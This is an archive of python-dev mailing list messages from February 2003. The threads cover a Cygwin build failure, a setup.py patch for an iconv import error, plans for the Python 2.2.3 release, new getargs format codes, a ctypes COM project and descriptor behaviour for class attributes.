<200302201824.h1KIOvu07067@odiug.zope.com> <20030220192300.GG2348@tishler.net> Message-ID: Jason Tishler writes: > Why not create a SF bug report and assign it to me (i.e., jlt63) next > time? If I can remember "jlt63 == Jason Tischler", I will gladly do that, thanks. -- Dave Abrahams Boost Consulting www.boost-consulting.com From jason@tishler.net Thu Feb 20 19:44:22 2003 From: jason@tishler.net (Jason Tishler) Date: Thu, 20 Feb 2003 14:44:22 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: References: <20030220182408.GA2348@tishler.net> Message-ID: <20030220194422.GH2348@tishler.net> Dave, On Thu, Feb 20, 2003 at 02:13:06PM -0500, David Abrahams wrote: > Hmm... > > $ rebaseall > ReBaseImage (/usr/bin/cygcrypto-0.9.7.dll) failed with last error = 6 Hmm... Did you read the README? Use the following procedure to rebase your entire system: 1. shutdown all Cygwin processes ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 2. start bash (do not use rxvt) 3. execute rebaseall (in the bash window) If you get any errors due to DLLs being in-use or read-only, then ^^^^^^ take the appropriate action and rerun rebaseall. Jason -- PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers Fingerprint: 7A73 1405 7F2B E669 C19D 8784 1AFD E4CC ECF4 8EF6 From jason@tishler.net Thu Feb 20 19:47:25 2003 From: jason@tishler.net (Jason Tishler) Date: Thu, 20 Feb 2003 14:47:25 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: References: <200302201824.h1KIOvu07067@odiug.zope.com> <20030220192300.GG2348@tishler.net> Message-ID: <20030220194725.GI2348@tishler.net> Dave, On Thu, Feb 20, 2003 at 02:22:15PM -0500, David Abrahams wrote: > Jason Tishler writes: > > Why not create a SF bug report and assign it to me (i.e., jlt63) > > next time? > > If I can remember "jlt63 == Jason Tischler", I will gladly do that, "jlt63 != Jason Tischler" ^ jlt63 is a poor choice that I'm stuck with from now on... Jason -- PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers Fingerprint: 7A73 1405 7F2B E669 C19D 8784 1AFD E4CC ECF4 8EF6 From dave@boost-consulting.com Thu Feb 20 20:08:22 2003 From: dave@boost-consulting.com (David Abrahams) Date: Thu, 20 Feb 2003 15:08:22 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: <20030220194422.GH2348@tishler.net> (Jason Tishler's message of "Thu, 20 Feb 2003 14:44:22 -0500") References: <20030220182408.GA2348@tishler.net> <20030220194422.GH2348@tishler.net> Message-ID: Jason Tishler writes: > Hmm... Did you read the README? > No , too many balls in the air at once causes rampant luser error. Sorry about all the wasted bandwidth. -- Dave Abrahams Boost Consulting www.boost-consulting.com From python@rcn.com Thu Feb 20 20:16:41 2003 From: python@rcn.com (Raymond Hettinger) Date: Thu, 20 Feb 2003 15:16:41 -0500 Subject: [Python-Dev] various unix platform build/test issues References: Message-ID: <003301c2d91c$fcd93440$050fa044@oemcomputer> From: "Tim Peters" > Hmm. Have you ever met a coercion you didn't like <0.9 wink>? After Neal's changes to PyArg_ParseTuple, will Tim still be able to use a floating argument to the wink() function which has only been documented to accept a boolean state? Alternatively, will the wink() implementation accept a FixedPoint object so that ten <0.1 winks> will reliably sum exactly to a full wink? On comp.lang.py, the currently leading proposal is to tighten the semantics to boolean but to support backward compatibility for partial winks through an explictly named function: blink(). Raymond Hettinger _ ~ @ @ \_/ From neal@metaslash.com Thu Feb 20 23:11:02 2003 From: neal@metaslash.com (Neal Norwitz) Date: Thu, 20 Feb 2003 18:11:02 -0500 Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError Message-ID: <20030220231102.GC26640@epoch.metaslash.com> There are already 2 bug reports with the build failing because the iconv module raises a RuntimeError. A patch to setup.py is below. The patch corrects the problem, but should anything else be done? The problem is that iconv builds ok, but the iconv_open fails so the module initialization failed, IIRC. Neal -- Index: setup.py =================================================================== RCS file: /cvsroot/python/python/dist/src/setup.py,v retrieving revision 1.146 diff -w -u -r1.146 setup.py --- setup.py 18 Feb 2003 10:24:34 -0000 1.146 +++ setup.py 20 Feb 2003 23:09:35 -0000 @@ -207,7 +207,7 @@ self.get_ext_filename(self.get_ext_fullname(ext.name))) try: imp.load_dynamic(ext.name, ext_filename) - except ImportError, why: + except (ImportError, RuntimeError), why: if 1: self.announce('*** WARNING: renaming "%s" since importing it' From guido@python.org Fri Feb 21 01:58:21 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 20 Feb 2003 20:58:21 -0500 Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError In-Reply-To: "Your message of Thu, 20 Feb 2003 18:11:02 EST." <20030220231102.GC26640@epoch.metaslash.com> References: <20030220231102.GC26640@epoch.metaslash.com> Message-ID: <200302210158.h1L1wLu28681@pcp02138704pcs.reston01.va.comcast.net> > There are already 2 bug reports with the build failing because the > iconv module raises a RuntimeError. A patch to setup.py is below. > The patch corrects the problem, but should anything else be done? > > The problem is that iconv builds ok, but the iconv_open fails so > the module initialization failed, IIRC. I don't think this is quite the right fix. Either it should catch all exceptions, not just RuntimeError; after all an extension that fails in init could raise any exception at all; or it should do this business of declaring the module invalid only when ImportError is raised, and ignore other errors (with a less severe warning). I think the second options is better -- after all the shared library built and loaded correctly. The failure may be fixed by other means. --Guido van Rossum (home page: http://www.python.org/~guido/) > Index: setup.py > =================================================================== > RCS file: /cvsroot/python/python/dist/src/setup.py,v > retrieving revision 1.146 > diff -w -u -r1.146 setup.py > --- setup.py 18 Feb 2003 10:24:34 -0000 1.146 > +++ setup.py 20 Feb 2003 23:09:35 -0000 > @@ -207,7 +207,7 @@ > self.get_ext_filename(self.get_ext_fullname(ext.name))) > try: > imp.load_dynamic(ext.name, ext_filename) > - except ImportError, why: > + except (ImportError, RuntimeError), why: > > if 1: > self.announce('*** WARNING: renaming "%s" since importing it' From guido@python.org Fri Feb 21 03:07:45 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 20 Feb 2003 22:07:45 -0500 Subject: [Python-Dev] Releasing Python 2.2.3 -- call for patches Message-ID: <200302210307.h1L37jR29212@pcp02138704pcs.reston01.va.comcast.net> I think it would be a good idea to release Python 2.2.3 soon -- say within a few weeks. I plan this to be a low-key release: all it does is add various important bugfixes, most of which were backported from 2.3. This is in tune with the Python-in-a-Tie idea for Python 2.2 (any idea what happened to the PBF plans for that?). If you have or know of something that you think should go into 2.2.3 but isn't in CVS yet, please let me know. The best way is to simply make the changes in CVS to the release22-maint branch. Do this only for things that are clearly bugfixes that introduce no backwards incompatibilities. When in doubt, use the second-best way. The second-best way is to (re)open a SF patch and assign it to me. --Guido van Rossum (home page: http://www.python.org/~guido/) From mchermside@ingdirect.com Fri Feb 21 13:11:39 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Fri, 21 Feb 2003 08:11:39 -0500 Subject: [Python-Dev] Re: various unix platform build/test issues Message-ID: <7F171EB5E155544CAC4035F0182093F03CF73B@INGDEXCHSANC1.ingdirect.com> Raymond Hettinger writes: > After Neal's changes to PyArg_ParseTuple, will Tim still > be able to use a floating argument to the wink() function > which has only been documented to accept a boolean state? Yes, but I want to know what happens when I try this: <1+0.5j wink> -- Michael Chermside From tim.one@comcast.net Fri Feb 21 15:21:41 2003 From: tim.one@comcast.net (Tim Peters) Date: Fri, 21 Feb 2003 10:21:41 -0500 Subject: [Python-Dev] Re: various unix platform build/test issues In-Reply-To: <7F171EB5E155544CAC4035F0182093F03CF73B@INGDEXCHSANC1.ingdirect.com> Message-ID: [Michael Chermside] > Yes, but I want to know what happens when I try this: > <1+0.5j wink> That's fine! The wink operator takes any numeric object. The specific wink application in question is about 12% stronger than <1.0 wink>, and jauntily angled about 27 degrees in the whimsical direction. I've often thought polar coordinates would be better for continuous winkery, so that intensity and degree of whimsy could be read off directly. From Pablo_Endres@digitel.com.ve Fri Feb 21 15:47:16 2003 From: Pablo_Endres@digitel.com.ve (Pablo Endres) Date: Fri, 21 Feb 2003 11:47:16 -0400 (VET) Subject: [Python-Dev] SCO Open Server 5.0.x thread support Message-ID: Hi, I've been trying for some time to build Python-2.2.x with thread support for SCO Open Server 5.0.5, with no luck. I'm using the FSU pthreads-3.9 library included in Skunkware. Any ideas on what should be done?? Is there thread support for this platform. Thanks in advance -- Democracy is two wolves and a sheep voting on what to have for dinner. Liberty is two wolves attempting to have a sheep for dinner and finding a well-informed, well-armed sheep. Pablo Endres Centro de Datos GSM: +584127347610 From neal@metaslash.com Fri Feb 21 18:03:51 2003 From: neal@metaslash.com (Neal Norwitz) Date: Fri, 21 Feb 2003 13:03:51 -0500 Subject: [Python-Dev] SCO Open Server 5.0.x thread support In-Reply-To: References: Message-ID: <20030221180351.GI26640@epoch.metaslash.com> On Fri, Feb 21, 2003 at 11:47:16AM -0400, Pablo Endres wrote: > > I've been trying for some time to build Python-2.2.x with > thread support for SCO Open Server 5.0.5, with no luck. > > I'm using the FSU pthreads-3.9 library included in Skunkware. > > Any ideas on what should be done?? > Is there thread support for this platform. You should try asking on the comp.lang.python newsgroup or file a bug report on SourceForge. Your request is not appropriate for python-dev. Neal From walter@livinglogic.de Fri Feb 21 18:15:51 2003 From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Fri, 21 Feb 2003 19:15:51 +0100 Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError In-Reply-To: <20030220231102.GC26640@epoch.metaslash.com> References: <20030220231102.GC26640@epoch.metaslash.com> Message-ID: <3E566CD7.3090408@livinglogic.de> Neal Norwitz wrote: > There are already 2 bug reports with the build failing because the > iconv module raises a RuntimeError. A patch to setup.py is below. > The patch corrects the problem, but should anything else be done? > > The problem is that iconv builds ok, but the iconv_open fails so > the module initialization failed, IIRC. The init function tries to find out whether the choosen internal encoding (which should be as close as possible to Pythons internal Unicode representation, i.e. Py_UNICODE) requires byte swapping or not. For this it encodes the character '\x01' from 'ASCII' to the chosen encoding. Unfortunately 'ASCII' doesn't seem to be available on Solaris. One solution would be to try 'ISO8859-1' instead of 'ASCII'. (According to SF patch #670715 this works on Irix, while 'ASCII' doesn't). Another solution would be to test various encodings until one is found that works. I'll change the test encoding to 'ISO8859-1' and we'll see what happens. To get a working build even if importing iconv_codec fails, should the import function raise an ImportError instead of a RunTimeError? Bye, Walter Dörwald From guido@python.org Fri Feb 21 18:34:04 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 21 Feb 2003 13:34:04 -0500 Subject: [Python-Dev] SCO Open Server 5.0.x thread support In-Reply-To: "Your message of Fri, 21 Feb 2003 13:03:51 EST." <20030221180351.GI26640@epoch.metaslash.com> References: <20030221180351.GI26640@epoch.metaslash.com> Message-ID: <200302211834.h1LIY4p31364@pcp02138704pcs.reston01.va.comcast.net> Last time when I commented on "harsh" notices sent in reply to inappropriate requests to python-dev, I couldn't find an example. Neal provided a mild one: > You should try asking on the comp.lang.python newsgroup > or file a bug report on SourceForge. Your request is not > appropriate for python-dev. Maybe it would have been more friendly to say "Sorry, there's nobody here on python-dev who can help you with that; maybe you'll have more luck on comp.lang.python." (For these kind of requests, I expect SF won't help much.) --Guido van Rossum (home page: http://www.python.org/~guido/) From theller@python.net Fri Feb 21 18:54:29 2003 From: theller@python.net (Thomas Heller) Date: 21 Feb 2003 19:54:29 +0100 Subject: [Python-Dev] new format codes for getargs.c Message-ID: I've implemented a 'k' format code for getargs.c, and uploaded a patch for it http://www.python.org/sf/595026. This code accepts integers or longs, does no range checking, and returns the lower bits in an unsigned long. Is this also the fix for the hex constant issue which has been discussed here before? Are extension writers supposed to replace 'i' with 'k' in the PyArg_Parse calls in their extensions now? Then, I'm not sure how to proceed. Sure, a 'K' format code, which returns a LONG_LONG will also be needed, and I can implement that. Are the other changes proposed in the SF item (changes to the 'B', 'H', 'I' codes) needed? Do I have to add code somewhere to test these format codes or the Py.._From..Mask functions, probably in testcapi.c? Thomas From perky@fallin.lv Fri Feb 21 19:03:32 2003 From: perky@fallin.lv (Hye-Shik Chang) Date: Sat, 22 Feb 2003 04:03:32 +0900 Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError In-Reply-To: <3E566CD7.3090408@livinglogic.de> References: <20030220231102.GC26640@epoch.metaslash.com> <3E566CD7.3090408@livinglogic.de> Message-ID: <20030221190332.GA67025@fallin.lv> On Fri, Feb 21, 2003 at 07:15:51PM +0100, Walter D?rwald wrote: > Neal Norwitz wrote: > > >There are already 2 bug reports with the build failing because the > >iconv module raises a RuntimeError. A patch to setup.py is below. > >The patch corrects the problem, but should anything else be done? > > > >The problem is that iconv builds ok, but the iconv_open fails so > >the module initialization failed, IIRC. > > The init function tries to find out whether the choosen > internal encoding (which should be as close as possible to > Pythons internal Unicode representation, i.e. Py_UNICODE) requires > byte swapping or not. For this it encodes the character '\x01' > from 'ASCII' to the chosen encoding. > > Unfortunately 'ASCII' doesn't seem to be available on Solaris. > One solution would be to try 'ISO8859-1' instead of 'ASCII'. > (According to SF patch #670715 this works on Irix, while > 'ASCII' doesn't). Another solution would be to test various > encodings until one is found that works. > > I'll change the test encoding to 'ISO8859-1' and we'll see > what happens. Sounds good. ISO8859-1 is available on every machines that I have. > > To get a working build even if importing iconv_codec fails, > should the import function raise an ImportError instead > of a RunTimeError? I prefer ImportError than RuntimeError. Even users who have broken iconv library, should be able to run python.(without iconvcodec) > > Bye, > Walter D?rwald > Regards, Hye-Shik =) From tim.one@comcast.net Fri Feb 21 19:12:31 2003 From: tim.one@comcast.net (Tim Peters) Date: Fri, 21 Feb 2003 14:12:31 -0500 Subject: [Python-Dev] new format codes for getargs.c In-Reply-To: Message-ID: [Thomas Heller] > I've implemented a 'k' format code for getargs.c, and uploaded a patch > for it http://www.python.org/sf/595026. Cool! Thanks. > This code accepts integers or longs, does no range checking, and > returns the lower bits in an unsigned long. > > Is this also the fix for the hex constant issue which has been > discussed here before? Are extension writers supposed to replace 'i' > with 'k' in the PyArg_Parse calls in their extensions now? > > Then, I'm not sure how to proceed. > > Sure, a 'K' format code, which returns a LONG_LONG will also be needed, > and I can implement that. > > Are the other changes proposed in the SF item (changes to the 'B', > 'H', 'I' codes) needed? I suggest raising all these issues in comments on the patch report instead. > Do I have to add code somewhere to test these format codes or the > Py.._From..Mask functions, probably in testcapi.c? _testcapimodule.c, and yes. Most of that is devoted to ensuring that various range and integer size thingies work across platforms, and, especially if you're mucking with LONG_LONG, the chance of your code working across all 64-bit boxes the first time are close to 0 (unless you've done this often before): if this kind of thing isn't tested, it's broken. From theller@python.net Fri Feb 21 19:27:52 2003 From: theller@python.net (Thomas Heller) Date: 21 Feb 2003 20:27:52 +0100 Subject: [Python-Dev] call for Windows developers Message-ID: (This may be off-topic, but only slightly IMO.) I'm looking for one, two, or three experienced Python developers on Windows to participate in an exciting open-source project. As some people on this list might know, the ctypes project http://starship.python.net/crew/theller/ctypes.html has had a good start. In short, ctypes is an improved calldll replacement. The longer description is that it lets you in pure Python build, access, and manipulate simple, but also very complicated C data types (structures, unions, pointers, function pointers, callback functions) and use them to call functions in shared libraries/dlls. It currently runs on Windows, Linux, and MacOS X, the latter two with the help of the libffi library. Not only allows it to call, for example, win32 functions not (yet) exposed by Mark Hammond's win32all stuff, I think it is powerful enough to create bindings in pure Python to whole systems or frameworks. (That's the reason I think this post is not totally off-topic for this forum). Using ctypes is sometimes like programming C in a Python syntax, this may sound strange, but it's where I as a Python and C hacker feel quite at home ;-), just that I don't need the compiler any more... I would now like to create a COM framework. ctypes makes it easy to access COM vtables, and also easy to build them at runtime. Different from Mark's pythoncom, it would concentrate more on custom interfaces than on IDispatch - just what is needed if you have to interface to clients and servers implemented in ATL. My ultimate goal would be to be able to write ActiveX controls in pure Python, and write containers for AX controls in pure Python. So far, I have written proof-of-concept code with fairly good typelibrary/typeinfo support for both the client side and the server side. I have local and inproc servers running, can send and receive events via the connection point mechanism, can automatically create type libraries for COM interfaces written in Python, can decompile type libraries and generate Python source code wrappers for them, so that it's easy to use these interfaces in Python, and so on. All for simple cases only, though. As things usually go, I'm not happy with this code, although I've learned a lot, and started the first rewrite. The rewritten code is in the ctypes CVS repository, in a sandbox subdirectory. Supporting open-source projects is a large goal, and I'm quite sure I cannot do it for the ctypes COM stuff alone. So currently I have to decide whether this stays at the level of 'ctypes sample code', or if it will evolve into a useful addition to the Python toolkit on Windows, but, I need some help. Thanks for the attention, Thomas From dave@boost-consulting.com Sat Feb 22 22:12:13 2003 From: dave@boost-consulting.com (David Abrahams) Date: Sat, 22 Feb 2003 17:12:13 -0500 Subject: [Python-Dev] assymetry in descriptor behavior Message-ID: In trying to support user requests for C++-like behavior of wrapped static data members, I noticed the following little assymetry: >>> #define a property class ... class Prop(object): ... def __get__(self, obj, type=None): ... print '__get__', (self, obj, type) ... return 'value' ... ... def __set__(self, obj, type=None): ... print '__set__', (self, obj, type) ... ... def __delete__(self, obj, type=None): ... print '__delete__', (self, obj, type) ... >>> # use it in a class Y ... class Y(object): ... x = Prop() ... >>> a = Y() >>> a.x # all accesses to a.x are intercepted __get__ (<__main__.Prop object at 0x00877BC8>, <__main__.Y object at 0x00878108>, ) 'value' >>> a.x = 42 __set__ (<__main__.Prop object at 0x00877BC8>, <__main__.Y object at 0x00878108>, 42) >>> Y.x # Prop intercepts reads of the class attribute __get__ (<__main__.Prop object at 0x00877BC8>, None, ) 'value' >>> Y.x = 1 # But not assignments >>> Y.x 1 >>> class mc(object.__class__): # to intercept Y.x assignment ... x = Prop() # I have to define this ... >>> class Y(object): ... __metaclass__ = mc ... >>> Y.x # now all accesses to Y.x are intercepted __get__ (<__main__.Prop object at 0x00876AB8>, , ) 'value' >>> Y.x = 1 __set__ (<__main__.Prop object at 0x00876AB8>, , 1) >>> a = Y() # But not accesses to a.x >>> a.x Traceback (most recent call last): File "", line 1, in ? AttributeError: 'Y' object has no attribute 'x' >>> As you can see, the only way to intercept assignment to Y.x is to stick a property Y's class, i.e. the metaclass (or to modify __setattr__ in the metaclass, but it amounts to the same thing). In C++, a mutable static data member can be modified via the class Y::x = 1; or an instance of the class a.x = 1; I notice that Python supports this sort of dual access for reading attributes and calling static functions, but getting that behavior for mutable attributes seems unreasonably difficult: I need a property in the metaclass *and* in the class. 1. To throw out a straw-man suggestion, what about adding an additional protocol __set2__ which, if found, will be called instead of __set__ both for reading _and_ writing attributes on the class? 2. What are the optional type=None arguments for? It seems as though only the middle argument (obj) is ever None. I just copied this protocol out of descrintro.html 3. Is there documentation for __delete__ anywhere? -- Dave Abrahams Boost Consulting www.boost-consulting.com From Anthony Baxter Sun Feb 23 06:57:55 2003 From: Anthony Baxter (Anthony Baxter) Date: Sun, 23 Feb 2003 17:57:55 +1100 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: Message-ID: <200302230657.h1N6vuj27913@localhost.localdomain> >>> David Abrahams wrote > 3. Is there documentation for __delete__ anywhere? It seems like it's only in the whatsnew22.tex docs. __get__ and __set__ are mentioned in the Doc/ext/newtypes.tex file, but that section is commented out with % XXX Descriptors need to be explained in more detail somewhere, but % not here. Unfortunately they're not anywhere else, either. Any suggestions for where they should be documented? -- Anthony Baxter It's never too late to have a happy childhood. From andymac@bullseye.apana.org.au Sun Feb 23 05:02:29 2003 From: andymac@bullseye.apana.org.au (Andrew MacIntyre) Date: Sun, 23 Feb 2003 15:02:29 +1000 (est) Subject: [Python-Dev] tuning up... Message-ID: I've just put together a binary distribution of 2.3a2 for OS/2 EMX, and for the hell of it compared the pystone ratings of 2.3a2 against 2.2.2 on 2 different systems. Results: 2.2.2 2.3a2 change system 1 18200 21700 +19.2% system 2a 5600 6975 +24.5% system 2b 6600 8540 +29.4% (Pystone on 2.2.2 adjusted to 50000 loops, average of 3 runs) Hardware: system 1: Athlon 1.4GHz, 512MB (PC133), OS/2 v4.0 FP12, gcc 2.8.1 -O2 system 2a: Via C3 800MHz, 256MB (PC133), OS/2 v4.0 FP15, gcc 2.8.1 -O2 system 2b: " , " , FreeBSD 4.7, gcc 2.95.4 -g -O3 -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac@bullseye.apana.org.au | Snail: PO Box 370 andymac@pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From skip@manatee.mojam.com Sun Feb 23 13:00:23 2003 From: skip@manatee.mojam.com (Skip Montanaro) Date: Sun, 23 Feb 2003 07:00:23 -0600 Subject: [Python-Dev] Weekly Python Bug/Patch Summary Message-ID: <200302231300.h1ND0NsR016630@manatee.mojam.com> Bug/Patch Summary ----------------- 358 open / 3367 total bugs (+22) 122 open / 1985 total patches (-3) New Bugs -------- unreliable file.read() error handling (2002-02-23) http://python.org/sf/521782 after using pdb readline does not work correctly (2003-01-28) http://python.org/sf/676342 classic division in demos/ directory (2003-02-16) http://python.org/sf/687648 Future division breaks mpz (2003-02-16) http://python.org/sf/687654 _iscommand() in webbrowser module (2003-02-16) http://python.org/sf/687747 Bundlebuilder needs to pre-convert resource files (2003-02-17) http://python.org/sf/688007 macresource should handle readonly applesingle files (2003-02-17) http://python.org/sf/688011 IDLE does not work on Mac OS X (2003-02-17) http://python.org/sf/688266 Applet support is broken (2003-02-18) http://python.org/sf/688907 64-bit int and long hash keys incompatible (2003-02-19) http://python.org/sf/689659 Docs page has no PEPs link (2003-02-19) http://python.org/sf/689826 Imports can deadlock (2003-02-20) http://python.org/sf/689895 2.3a2 build fails under IRIX 6.5 (2003-02-20) http://python.org/sf/690012 test_posix fails when run in non-interactive mode (2003-02-20) http://python.org/sf/690081 sys.last_type is missing (2003-02-20) http://python.org/sf/690109 robotparser only applies first applicable rule (2003-02-20) http://python.org/sf/690214 lines run together on input (2003-02-20) http://python.org/sf/690285 2.3a2 Sol8 make fails at _iconv_codec. (2003-02-20) http://python.org/sf/690309 2.3a2 build fails on Solaris: posixmodule (2003-02-20) http://python.org/sf/690317 test_tarfile fails on MacOS9 (2003-02-20) http://python.org/sf/690341 register command not listed in command line help (2003-02-20) http://python.org/sf/690389 can't build bsddb for 2.3a2 (2003-02-20) http://python.org/sf/690419 apply fails to check if warning raises exception (2003-02-20) http://python.org/sf/690435 test_cpickle overflows stack on MacOS9 (2003-02-21) http://python.org/sf/690622 re.LOCALE, umlaut and \w (2003-02-21) http://python.org/sf/690974 _POSIX_C_SOURCE redefined (2003-02-21) http://python.org/sf/691005 shutil.copytree documentation bug (2003-02-22) http://python.org/sf/691276 codecs.open(filename, 'U', 'UTF-16') corrupts text (2003-02-22) http://python.org/sf/691291 New Patches ----------- array.append is sloooow (2003-02-16) http://python.org/sf/687598 2.3 .spec file for building RPMs. (2003-02-18) http://python.org/sf/688584 Closed Bugs ----------- Long module names fail on the Mac (2001-09-05) http://python.org/sf/458874 standard include paths on command line (2002-07-31) http://python.org/sf/589427 Have PythonLauncher use #! line (2003-01-28) http://python.org/sf/676358 Whats new: Obligatory source code encodings if not ASCII (2003-02-09) http://python.org/sf/683416 bundlebuilder and spaces in filenames (2003-02-12) http://python.org/sf/685373 turtle circle() documentation error (2003-02-12) http://python.org/sf/685775 Closed Patches -------------- sys.path[0] should contain absolute pathname (2003-01-08) http://python.org/sf/664376 using gcc on cygwin for config (2003-02-05) http://python.org/sf/681504 Add download_url to setup() (2003-02-10) http://python.org/sf/683939 Fix for verbosity (2003-02-10) http://python.org/sf/684398 logging.handlers.SMTPHandler and single 'to' address (2003-02-13) http://python.org/sf/686379 add os.sep and friends to os.path (2003-02-13) http://python.org/sf/686397 Remove unncessary casts for PyEval_GetFrame() (2003-02-14) http://python.org/sf/686601 From guido@python.org Sun Feb 23 13:20:04 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 23 Feb 2003 08:20:04 -0500 Subject: [Python-Dev] tuning up... In-Reply-To: "Your message of Sun, 23 Feb 2003 15:02:29 +1000." References: Message-ID: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net> > I've just put together a binary distribution of 2.3a2 for OS/2 EMX, and > for the hell of it compared the pystone ratings of 2.3a2 against 2.2.2 > on 2 different systems. > > Results: > 2.2.2 2.3a2 change > system 1 18200 21700 +19.2% > system 2a 5600 6975 +24.5% > system 2b 6600 8540 +29.4% > > (Pystone on 2.2.2 adjusted to 50000 loops, average of 3 runs) > > Hardware: > system 1: Athlon 1.4GHz, 512MB (PC133), OS/2 v4.0 FP12, gcc 2.8.1 -O2 > system 2a: Via C3 800MHz, 256MB (PC133), OS/2 v4.0 FP15, gcc 2.8.1 -O2 > system 2b: " , " , FreeBSD 4.7, gcc 2.95.4 -g -O3 About 10% of the improvement is due to the removal of SET_LINENO opcodes; to remove this effect, you should compare python2.2 -O to python2.3. But the rest is still impressive; I can't remember what we did... --Guido van Rossum (home page: http://www.python.org/~guido/) From jacobs@penguin.theopalgroup.com Sun Feb 23 13:55:53 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Sun, 23 Feb 2003 08:55:53 -0500 (EST) Subject: [Python-Dev] tuning up... In-Reply-To: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net> Message-ID: On Sun, 23 Feb 2003, Guido van Rossum wrote: > About 10% of the improvement is due to the removal of SET_LINENO > opcodes; to remove this effect, you should compare python2.2 -O to > python2.3. > > But the rest is still impressive; I can't remember what we did... Pymalloc? New-style object construction speedups? Faster getitem and setitem paths? These are just a few things that made speed differences in our app. I'm not familiar enough with pystone to know if (or which) of these are the lucky winners... -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From guido@python.org Sun Feb 23 15:07:00 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 23 Feb 2003 10:07:00 -0500 Subject: [Python-Dev] tuning up... In-Reply-To: "Your message of Sun, 23 Feb 2003 08:55:53 EST." References: Message-ID: <200302231507.h1NF70911081@pcp02138704pcs.reston01.va.comcast.net> > > But the rest is still impressive; I can't remember what we did... > > Pymalloc? New-style object construction speedups? Faster getitem and > setitem paths? These are just a few things that made speed differences in > our app. I'm not familiar enough with pystone to know if (or which) of > these are the lucky winners... Probably pymalloc, plus some function call speedups that Jeremy added very recently. Pystone doesn't use new-style objects. I don't recall what we changed in getitem/setitem. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sun Feb 23 15:11:13 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 23 Feb 2003 10:11:13 -0500 Subject: [Python-Dev] Needed: regexp maintainer Message-ID: <200302231511.h1NFBEa11117@pcp02138704pcs.reston01.va.comcast.net> I notice with some despair that regular expression bugs and patches in SF don't get fixed. Assigning these to effbot seems a black hole. Is there someone who would like to take up maintenance of the SRE code? --Guido van Rossum (home page: http://www.python.org/~guido/) From dave@boost-consulting.com Sun Feb 23 18:04:59 2003 From: dave@boost-consulting.com (David Abrahams) Date: Sun, 23 Feb 2003 13:04:59 -0500 Subject: [Python-Dev] Re: assymetry in descriptor behavior References: <200302230657.h1N6vuj27913@localhost.localdomain> Message-ID: Anthony Baxter writes: >>>> David Abrahams wrote > >> 3. Is there documentation for __delete__ anywhere? > > It seems like it's only in the whatsnew22.tex docs. > > __get__ and __set__ are mentioned in the Doc/ext/newtypes.tex file, > but that section is commented out with > > % XXX Descriptors need to be explained in more detail somewhere, but > % not here. > > Unfortunately they're not anywhere else, either. Any suggestions for > where they should be documented? Probably http://www.python.org/dev/doc/devel/ref/attribute-access.html is the most logical place for them. -- Dave Abrahams Boost Consulting www.boost-consulting.com From guido@python.org Sun Feb 23 23:19:51 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 23 Feb 2003 18:19:51 -0500 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: "Your message of Sat, 22 Feb 2003 17:12:13 EST." References: Message-ID: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> > I notice that Python supports this sort of dual access for reading > attributes and calling static functions, but getting that behavior for > mutable attributes seems unreasonably difficult: I need a property in > the metaclass *and* in the class. I disagree that it is *unreasonably* difficult. Given that Python tries to do with a single notation ('.') where C++ has two notations ('.' and '::') to disambiguate cases, not to mention declarations, I think it is reasonable that this unusual case requires a little more effort; you should be glad that it's possible at all. :-) > 1. To throw out a straw-man suggestion, what about adding an > additional protocol __set2__ which, if found, will be called > instead of __set__ both for reading _and_ writing attributes on the > class? Let me throw out this straw-man right away: I'm not excited about this. You can write a metaclass that implements this generically though. > 2. What are the optional type=None arguments for? It seems as though > only the middle argument (obj) is ever None. I just copied this > protocol out of descrintro.html Only __get__ has both obj and type as arguments; __set__ has obj and value, __delete__ only obj. __get__ has obj and type because it can be used for instance and class attribute access. When called for a class, obj is None because it is unavailable; but when called for an instance, type is set to obj's class, for the convenience of descriptors that aren't interested in the instance (like staticmethod and classmethod). > 3. Is there documentation for __delete__ anywhere? Apparently not, but it's easy to guess what it does if you know __getattr__, __setattr__ and __delattr__. It's __delete__ and not __del__ because __del__ is already taken. In an early alpha release it was actually __del__, but that didn't work very well. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From dave@boost-consulting.com Mon Feb 24 00:46:25 2003 From: dave@boost-consulting.com (David Abrahams) Date: Sun, 23 Feb 2003 19:46:25 -0500 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> (Guido van Rossum's message of "Sun, 23 Feb 2003 18:19:51 -0500") References: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> Message-ID: Guido van Rossum writes: >> I notice that Python supports this sort of dual access for reading >> attributes and calling static functions, but getting that behavior for >> mutable attributes seems unreasonably difficult: I need a property in >> the metaclass *and* in the class. > > I disagree that it is *unreasonably* difficult. Given that Python > tries to do with a single notation ('.') where C++ has two notations > ('.' and '::') to disambiguate cases 